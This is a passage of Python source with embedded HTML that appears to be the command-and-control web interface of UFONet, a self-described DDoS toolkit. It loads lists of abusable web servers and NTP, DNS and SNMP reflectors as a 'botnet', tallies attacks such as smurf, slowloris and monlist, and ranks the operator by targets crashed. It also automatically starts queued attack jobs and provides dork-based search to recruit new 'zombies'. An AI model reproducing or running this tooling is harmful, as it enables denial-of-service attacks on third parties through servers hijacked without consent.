self.ranking_grid_total = 0
2619
self.ranking_grid_rookie = 0
2620
self.ranking_grid_mercenary = 0
2621
self.ranking_grid_bandit = 0
2622
self.ranking_grid_ufommander = 0
2623
self.ranking_grid_ufoleet = 0
2624
self.ranking_grid_unknown = 0
2625
self.ranking_top5_player1 = "Anonymous"
2626
self.ranking_top5_player2 = "Anonymous"
2627
self.ranking_top5_player3 = "Anonymous"
2628
self.ranking_top5_player4 = "Anonymous"
2629
self.ranking_top5_player5 = "Anonymous"
2630
self.ranking_similar_player1 = "Anonymous"
2631
self.ranking_similar_player2 = "Anonymous"
2632
self.ranking_similar_player3 = "Anonymous"
2633
self.ranking_top1_player1 = "Anonymous"
2634
f = open(self.mothershipname) # extract ship name
2635
self.mothership_id = f.read()
2636
self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
2637
f.close()
2638
f = open(self.release_date_file) # extract release creation datetime
2639
self.release_date = f.read()
2640
# adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
2641
self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
2642
self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
2643
self.trans_5C = self.trans_5C.encode("latin-1")
2644
self.trans_36 = self.trans_36.encode("latin-1")
2645
f.close()
2646
f = open(self.blackholes) # double extract blackholes (nodes.txt)
2647
self.blackholes_text = f.read()
2648
f.close()
2649
f = open(self.blackholes)
2650
self.blackholes_block = f.readlines()
2651
f.close()
2652
self.list_blackholes = []
2653
for b in self.blackholes_block:
2654
self.list_blackholes.append(b)
2655
self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.txt')) # extract nodes datetime
2656
if self.blackholes_datetime == self.release_date_file: # never connected to feeds
2657
self.blackholes_status_color = "red" # set status color for blackholes to 'red'
2658
else:
2659
self.blackholes_status_color = "green" # set status color for blackholes to 'green'
2660
f = open(self.news) # double extract news
2661
self.news_text = f.read()
2662
f.close()
2663
f = open(self.news)
2664
self.news_block = f.readlines()
2665
f.close()
2666
self.list_news = []
2667
for n in self.news_block:
2668
self.list_news.append(n)
2669
self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime
2670
if self.news_datetime == self.release_date_file: # never connected to feeds
2671
self.news_status_color = "red" # set status color for news to 'red'
2672
else:
2673
self.news_status_color = "green" # set status color for news to 'green'
2674
f = open(self.tv) # double extract tv
2675
self.tv_text = f.read()
2676
f.close()
2677
f = open(self.tv)
2678
self.tv_block = f.readlines()
2679
f.close()
2680
self.list_tv = []
2681
for n in self.tv_block:
2682
self.list_tv.append(n)
2683
self.tv_datetime = time.ctime(os.path.getctime('data/tv.txt')) # extract tv.txt datetime
2684
if self.tv_datetime == self.release_date_file: # never connected to feeds
2685
self.tv_status_color = "red" # set status color for tv to 'red'
2686
else:
2687
self.tv_status_color = "green" # set status color for tv to 'green'
2688
f = open(self.board_file) # double extract board
2689
self.moderator_text = f.read()
2690
f.close()
2691
f = open(self.board_file)
2692
self.moderator_block = f.readlines()
2693
f.close()
2694
self.list_moderator = []
2695
for n in self.moderator_block:
2696
self.list_moderator.append(n)
2697
f = open(self.grid_file) # double grid board
2698
self.grid_text = f.read()
2699
self.ranking_text = f.read() # ranking data is extracted from grid
2700
f.close()
2701
f = open(self.grid_file)
2702
self.grid_block = f.readlines()
2703
f.close()
2704
self.list_grid = []
2705
for n in self.grid_block:
2706
self.list_grid.append(n)
2707
self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs
2708
if self.ranking_datetime == self.release_date_file: # never connected to feeds
2709
self.ranking_status_color = "red" # set status color for ranking to 'red'
2710
else:
2711
self.ranking_status_color = "green" # set status color for ranking to 'green'
2712
f = open(self.wargames_file) # double wargames board
2713
self.wargames_text = f.read()
2714
f.close()
2715
f = open(self.wargames_file)
2716
self.wargames_block = f.readlines()
2717
f.close()
2718
self.list_wargames = []
2719
for n in self.wargames_block:
2720
self.list_wargames.append(n)
2721
f = open(self.links_file) # double links extraction
2722
self.links_text = f.read()
2723
f.close()
2724
f = open(self.links_file)
2725
self.links_block = f.readlines()
2726
f.close()
2727
self.list_links = []
2728
for n in self.links_block:
2729
self.list_links.append(n)
2730
f = open(self.globalnet_file) # double globalnet extraction
2731
self.globalnet_text = f.read()
2732
f.close()
2733
f = open(self.globalnet_file)
2734
self.globalnet_block = f.readlines()
2735
f.close()
2736
self.list_globalnet = []
2737
for n in self.globalnet_block:
2738
self.list_globalnet.append(n)
2739
f = open(self.streams_file) # double streams extraction
2740
self.streams_text = f.read()
2741
f.close()
2742
f = open(self.streams_file)
2743
self.streams_block = f.readlines()
2744
f.close()
2745
self.list_streams = []
2746
for n in self.streams_block:
2747
self.list_streams.append(n)
2748
f = open(self.missions) # double extract missions
2749
self.missions_text = f.read()
2750
f.close()
2751
f = open(self.missions)
2752
self.missions_block = f.readlines()
2753
f.close()
2754
self.list_missions = []
2755
for m in self.missions_block:
2756
self.list_missions.append(m)
2757
self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime
2758
if self.missions_datetime == self.release_date_file: # never connected to feeds
2759
self.missions_status_color = "red" # set status color for missions to 'red'
2760
else:
2761
self.missions_status_color = "green" # set status color for missions to 'green'
2762
stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
2763
data = json.load(stats_json_file)
2764
stats_json_file.close()
2765
self.abductor = Abductor(self) # call abductor for data size conversor
2766
self.aflying = data["flying"]
2767
self.ascanner = data["scanner"]
2768
self.atransferred = data["transferred"]
2769
self.amax_chargo = data["max_chargo"]
2770
self.amissions = data["missions"]
2771
self.acompleted = data["completed"]
2772
self.aloic = data["loic"]
2773
self.aloris = data["loris"]
2774
self.aufosyn = data["ufosyn"]
2775
self.aspray = data["spray"]
2776
self.asmurf = data["smurf"]
2777
self.axmas = data["xmas"]
2778
self.anuke = data["nuke"]
2779
self.atachyon = data["tachyon"]
2780
self.amonlist = data["monlist"]
2781
self.afraggle = data["fraggle"]
2782
self.asniper = data["sniper"]
2783
self.aufoack = data["ufoack"]
2784
self.auforst = data["uforst"]
2785
self.adroper = data["droper"]
2786
self.aoverlap = data["overlap"]
2787
self.apinger = data["pinger"]
2788
self.aufoudp = data["ufoudp"]
2789
self.tcrashed = data["crashed"]
2790
if int(self.acompleted) > 0: # check for attacks completed
2791
self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
2792
else:
2793
self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
2794
if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
2795
self.ranking = "Rookie"
2796
elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
2797
self.ranking = "Mercenary"
2798
elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
2799
self.ranking = "Bandit"
2800
elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
2801
self.ranking = "UFOmmander!"
2802
elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
2803
self.ranking = "UFOl33t!"
2804
f = open(self.zombies_file)
2805
self.zombies = f.readlines()
2806
self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
2807
self.list_zombies = []
2808
for zombie in self.zombies:
2809
t = urlparse(zombie)
2810
name_zombie = t.netloc
2811
if "www." in name_zombie:
2812
name_zombie = name_zombie.replace("www.","")
2813
self.list_zombies.append(name_zombie)
2814
self.num_zombies = str(len(self.zombies))
2815
f.close()
2816
f = open(self.aliens_file)
2817
self.aliens = f.readlines()
2818
self.aliens = [alien.replace('\n', '') for alien in self.aliens]
2819
self.list_aliens = []
2820
for alien in self.aliens:
2821
t = urlparse(alien)
2822
name_alien = t.netloc
2823
if "www." in name_alien:
2824
name_alien = name_alien.replace("www.","")
2825
self.list_aliens.append(name_alien)
2826
self.num_aliens = str(len(self.aliens))
2827
f.close()
2828
f = open(self.droids_file)
2829
self.droids = f.readlines()
2830
self.droids = [droid.replace('\n', '') for droid in self.droids]
2831
self.list_droids = []
2832
for droid in self.droids:
2833
t = urlparse(droid)
2834
name_droid = t.netloc
2835
if "www." in name_droid:
2836
name_droid = name_droid.replace("www.","")
2837
self.list_droids.append(name_droid)
2838
self.num_droids = str(len(self.droids))
2839
f.close()
2840
f = open(self.ucavs_file)
2841
self.ucavs = f.readlines()
2842
self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
2843
self.list_ucavs = []
2844
for ucav in self.ucavs:
2845
t = urlparse(ucav)
2846
name_ucav = t.netloc
2847
if "www." in name_ucav:
2848
name_ucav = name_ucav.replace("www.","")
2849
self.list_ucavs.append(name_ucav)
2850
self.num_ucavs = str(len(self.ucavs))
2851
f.close()
2852
f = open(self.rpcs_file)
2853
self.rpcs = f.readlines()
2854
self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
2855
self.list_rpcs = []
2856
for rpc in self.rpcs:
2857
t = urlparse(rpc)
2858
name_rpc = t.netloc
2859
if "www." in name_rpc:
2860
name_rpc = name_rpc.replace("www.","")
2861
self.list_rpcs.append(name_rpc)
2862
self.num_rpcs = str(len(self.rpcs))
2863
f.close()
2864
f = open(self.ntps_file)
2865
self.ntps = f.readlines()
2866
self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
2867
self.list_ntps = []
2868
for ntp in self.ntps:
2869
t = urlparse(ntp)
2870
name_ntp = t.netloc
2871
if "www." in name_ntp:
2872
name_ntp = name_ntp.replace("www.","")
2873
self.list_ntps.append(name_ntp)
2874
self.num_ntps = str(len(self.ntps))
2875
f.close()
2876
f = open(self.dnss_file)
2877
self.dnss = f.readlines()
2878
self.dnss = [dns.replace('\n', '') for dns in self.dnss]
2879
self.list_dnss = []
2880
for dns in self.dnss:
2881
t = urlparse(dns)
2882
name_dns = t.netloc
2883
if "www." in name_dns:
2884
name_dns = name_dns.replace("www.","")
2885
self.list_dnss.append(name_dns)
2886
self.num_dnss = str(len(self.dnss))
2887
f.close()
2888
f = open(self.snmps_file)
2889
self.snmps = f.readlines()
2890
self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
2891
self.list_snmps = []
2892
for snmp in self.snmps:
2893
t = urlparse(snmp)
2894
name_snmp = t.netloc
2895
if "www." in name_snmp:
2896
name_snmp = name_snmp.replace("www.","")
2897
self.list_snmps.append(name_snmp)
2898
self.num_snmps = str(len(self.snmps))
2899
f.close()
2900
self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_ntps) + int(self.num_dnss) + int(self.num_snmps))
2901
f = open(self.wargames_file, "r")
2902
ls = f.readlines()
2903
f.close()
2904
self.supply_wargames = 0
2905
self.wargames_engage_list = []
2906
for l in ls:
2907
if "!!!" in l:
2908
self.wargames_engage_list.append(l)
2909
self.supply_wargames = self.supply_wargames + 1
2910
if self.supply_wargames > 0:
2911
self.current_tasks = ' - Jobs: <a href="/wargames" target="_blank">' + str(self.supply_wargames) + '</a>'
2912
self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
2913
else:
2914
self.current_tasks = ' - Jobs: <a href="/wargames" target="_blank">0</a>'
2915
self.options = UFONetOptions()
2916
self.pages = {}
2917
self.pages["/header"] = """<!DOCTYPE html><html>
2918
<head>
2919
<link rel="shortcut icon" type="image/x-icon" href="favicon" />
2920
<meta name="author" content="psy">
2921
<meta name="robots" content="noindex, nofollow">
2922
<meta http-equiv="content-type" content="text/xml; charset=utf-8" />
2923
<title>UFONet - [ C&C/DarkNet ]</title>
2924
<script language="javascript" src="/lib.js"></script>
2925
<script language="javascript" src="js/stars.js"></script>
2926
<style>
2927
body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
2928
</style>"""
2929
self.pages["/footer"] = """</center></body>
2930
</html>
2931
"""
2932
self.pages["/"] = self.pages["/header"] + """<script language="javascript">
2933
function Start() {
2934
var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
2935
}
2936
</script>
2937
<script type="text/javascript">
2938
var text="REMEMBER -> This code is NOT for educational purposes!";
2939
var delay=1;
2940
var currentChar=1;
2941
var destination="tt";
2942
function type()
2943
{
2944
if (document.getElementById)
2945
{
2946
var dest=document.getElementById(destination);
2947
if (dest)
2948
{
2949
dest.innerHTML=text.substr(0, currentChar);
2950
currentChar++
2951
if (currentChar>text.length)
2952
{
2953
currentChar=1;
2954
setTimeout("type()", 5000);
2955
}
2956
else
2957
{
2958
setTimeout("type()", delay);
2959
}
2960
}
2961
}
2962
}
2963
function startTyping(textParam, delayParam, destinationParam)
2964
{
2965
text=textParam;
2966
delay=delayParam;
2967
currentChar=1;
2968
destination=destinationParam;
2969
type();
2970
}
2971
</script>
2972
<link rel="stylesheet" href="/js/ufo-cloud.css" />
2973
</head>
2974
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
2975
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
2976
<center><br><br><br><br>
2977
<table><tr>
2978
<td>
2979
<div class="ufo-cloud">
2980
<ul>
2981
<li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
2982
<li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
2983
<li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
2984
<li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
2985
<li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
2986
<li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
2987
<li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
2988
<li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
2989
<li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
2990
<li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
2991
<li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
2992
<li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
2993
<li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
2994
<li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
2995
<li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
2996
<li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
2997
<li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
2998
<li><a href="javascript:alert('There is no law, if there is a need...');"><span></span>'necessitas caret lege'</a></li>
2999
<li><a href="javascript:alert('Let justice be done, and let the world perish...');"><span></span>'fiat iustitia, et pereat mundus'</a></li>
3000
</ul>
3001
</div>
3002
</td>
3003
<td><img src='data:image/png;base64,"""+self.ufonet_logo_img+"""'></td><td>
3004
</td></tr></table><br>
3005
<br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a /disruptive_toolkit/ that allows to perform <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks ...<br /><br />
3006
<div id="tt">REMEMBER -> This code is NOT for educational purposes!</div><br />
3007
<script type="text/javascript">
3008
startTyping(text, 80, "tt");
3009
</script><br />
3010
<button title="Start Mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
3011
3012
self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
3013
var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
3014
}
3015
function Missions() {
3016
var win_requests = window.open("missions","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
3017
}
3018
function Stats() {
3019
var win_requests = window.open("stats","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
3020
}
3021
function Browser() {
3022
var win_requests = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
3023
}
3024
function Board() {
3025
var win_requests = window.open("board","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
3026
}
3027
function Links() {
3028
var win_requests = window.open("links","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
3029
}
3030
function Streams() {
3031
var win_requests = window.open("streams","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
3032
}
3033
function TV() {
3034
var win_requests = window.open("tv","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
3035
}
3036
function Grid() {
3037
var win_requests = window.open("grid","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3038
}
3039
function Wargames() {
3040
var win_requests = window.open("wargames","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3041
}
3042
</script>
3043
</head>
3044
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3045
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3046
<center>
3047
<table cellpadding="38" cellspacing="38">
3048
<tr>
3049
<td>
3050
<div class="ringMenu">
3051
<ul>
3052
<li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
3053
<li class="top"><a href="botnet">Botnet</a></li>
3054
<li class="right"><a href="explore">Explore</a></li>
3055
<li class="bottom"><a href="attack">Attack</a></li>
3056
<li class="left"><a href="globalnet">Globalnet</a></li>
3057
</ul>
3058
</div>
3059
</td>
3060
<td>
3061
<table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
3062
<tr>
3063
<td>
3064
<pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> [ <b>C&C/DarkNET</b> ]
3065
3066
------------------------------------
3067
3068
| <a href="/help" target="_blank">HELP</a> - <a href="/faq" target="_blank">F.A.Q.</a> | <a href="/shop" target="_blank">SHOP!</a> | <a href="/author" target="_blank">AUTHOR</a>
3069
3070
------------------------------------<b>
3071
""" + self.options.version + """</b>
3072
- Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
3073
3074
| <a href='javascript:runCommandX("cmd_view_changelog")'>LOG</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">C0DE</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">MIRROR</a> - <a href='"""+torrent_seed+"""' target="_blank">SEED</a> | <a href='javascript:runCommandX("cmd_check_tool")'>UPDATE!</a> |
3075
3076
-------------------------------------
3077
3078
Mothership ID: <b>""" + str(self.mothership_id) + """</b>
3079
- Stats: <a href="/stats" target="_blank"><b>""" + str(self.mothership_model) + """</b></a>
3080
- Ranking: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</b></a><br>
3081
- Proxy: <a href='javascript:runCommandX("cmd_check_tor")'><b>CHECK-TOR!</b></a><br>
3082
- Chargo: <a href='javascript:runCommandX("cmd_list_army")'><b>"""+ self.total_botnet +"""</b></a><br>
3083
- Nodes: <a href='javascript:runCommandX("cmd_list_nodes")'><b>"""+str(len(self.list_globalnet)+len(self.list_blackholes))+"""</b></a><br>
3084
"""+str(self.current_tasks)+"""</td>
3085
<td>
3086
<table>
3087
<tr>
3088
<td>
3089
<table cellpadding="2" cellspacing="5">
3090
<tr>
3091
<td align="right"><img src='data:image/png;base64,"""+self.alien13_img+"""' onclick="Browser()"><br><a href="javascript:Browser()">SHIP.BROWSER</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien1_img+"""' onclick="News()"><br><a href="javascript:News()">SHIP.NEWS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien2_img+"""' onclick="Missions()"><br><a href="javascript:Missions()">SHIP.MISSIONS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien5_img+"""' onclick="TV()"><br><a href="javascript:TV()">SHIP.TV</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien10_img+"""' onclick="Links()"><br><a href="javascript:Links()">GLOBAL.LINKS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien9_img+"""' onclick="Streams()"><br><a href="javascript:Streams()">GLOBAL.STREAMS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien4_img+"""' onclick="Board()"><br><a href="javascript:Board()">GLOBAL.BOARD</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien6_img+"""' onclick="Grid()"><br><a href="javascript:Grid()">GLOBAL.GRID</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien8_img+"""' onclick="Wargames()"><br><a href="javascript:Wargames()">GLOBAL.WARGAMES</a>
3092
</td></tr></table>
3093
</tr>
3094
</table>
3095
</td>
3096
</tr>
3097
</table>
3098
</td>
3099
</tr>
3100
</table><center><br><br>
3101
<div id="cmdOut"></div>
3102
""" + self.pages["/footer"]
3103
3104
self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
3105
function Requests() {
3106
var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3107
}
3108
function Maps() {
3109
var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
3110
win_map.resizeTo(screen.width,screen.height);
3111
}
3112
function Start(){
3113
dork=document.getElementById("dork").value
3114
s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
3115
if (document.getElementById("autosearch").checked){
3116
document.getElementById("autosearch").value = "on";
3117
} else {
3118
document.getElementById("autosearch").value = "off";
3119
}
3120
autosearch = document.getElementById("autosearch").value
3121
if (document.getElementById("dork_list").checked){
3122
document.getElementById("dork_list").value = "on";
3123
} else {
3124
document.getElementById("dork_list").value = "off";
3125
}
3126
dork_list = document.getElementById("dork_list").value
3127
if(dork == "" && dork_list == "off" && autosearch == "off") {
3128
window.alert("You need to enter a source for dorking...");
3129
return
3130
}else{
3131
if (document.getElementById("all_engines").checked){
3132
document.getElementById("all_engines").value = "on";
3133
exclude_engines=document.getElementById("exclude_engines").value
3134
} else {
3135
document.getElementById("all_engines").value = "off";
3136
}
3137
all_engines = document.getElementById("all_engines").value
3138
params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)+"&exclude_engines="+escape(exclude_engines)
3139
runCommandX("cmd_search",params)
3140
}
3141
}
3142
function Download_Botnet_IP(){
3143
blackhole=document.getElementById("download_botnet_ip").value
3144
params="blackhole="+escape(blackhole)
3145
runCommandX("cmd_download_botnet_ip",params)
3146
}
3147
function showHide()
3148
{
3149
if(document.getElementById("dork_list").checked)
3150
{
3151
document.getElementById("dork_pattern").style.display = "none";
3152
document.getElementById("autosearch_pattern").style.display = "none";
3153
}
3154
else {
3155
document.getElementById("dork_pattern").style.display = "";
3156
document.getElementById("autosearch_pattern").style.display = "";
3157
}
3158
}
3159
function showHideEngines()
3160
{
3161
if(document.getElementById("all_engines").checked)
3162
{
3163
document.getElementById("s_engine").style.display = "none";
3164
document.getElementById("sex_engine").style.display = "";
3165
}
3166
else {
3167
document.getElementById("s_engine").style.display = "";
3168
document.getElementById("sex_engine").style.display = "none";
3169
}
3170
}
3171
function HideAll()
3172
{
3173
if(document.getElementById("autosearch").checked)
3174
{
3175
document.getElementById("s_engine").style.display = "none";
3176
document.getElementById("dork_pattern").style.display = "none";
3177
document.getElementById("list_pattern").style.display = "none";
3178
document.getElementById("allengines_pattern").style.display = "none";
3179
document.getElementById("all_engines").checked = false;
3180
document.getElementById("dork_list").checked = false;
3181
document.getElementById("dork").value = "";
3182
}
3183
else {
3184
document.getElementById("s_engine").style.display = "";
3185
document.getElementById("dork_pattern").style.display = "";
3186
document.getElementById("list_pattern").style.display = "";
3187
document.getElementById("allengines_pattern").style.display = "";
3188
}
3189
}
3190
</script>
3191
</head>
3192
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3193
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3194
<center>
3195
<table cellpadding="38" cellspacing="38">
3196
<tr>
3197
<td>
3198
<div class="ringMenu">
3199
<ul>
3200
<li class="main"><a href="botnet">Botnet</a></li>
3201
<li class="top"><a href="globalnet">Globalnet</a></li>
3202
<li class="right"><a href="explore">Explore</a></li>
3203
<li class="bottom"><a href="attack">Attack</a></li>
3204
<li class="left"><a href="gui">RETURN</a></li>
3205
</ul>
3206
</div>
3207
</td>
3208
<td>
3209
<table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
3210
<tr><td>
3211
<pre>
3212
<button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
3213
<form method='GET'><br><hr><br>Search Botnet:<br><div id="autosearch_pattern" style="display:block;">
3214
* Search automatically (may take time!) <input type="checkbox" CHECKED id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:none;">
3215
* Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="page.php?url="></div><div id="list_pattern" style="display:none;">
3216
* Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:none;">
3217
* Search using this search engine: <select id="engines_list">
3218
<option value="duck" selected>duck</option>
3219
<option value="bing">bing</option>
3220
<option value="yahoo">yahoo</option>
3221
<!-- <option value="google">google (no TOR!)</option>-->
3222
<!-- <option value="yandex">yandex</option>-->
3223
</select></div><div id="allengines_pattern" style="display:none;">
3224
* Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div><div id="sex_engine" name="sex_engine" style="display:none;">
3225
* Exclude this search engines: <input type="text" name="exclude_engines" id="exclude_engines" size="10" placeholder="Yahoo,Bing"></div></form>
3226
<button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
3227
<br><hr>
3228
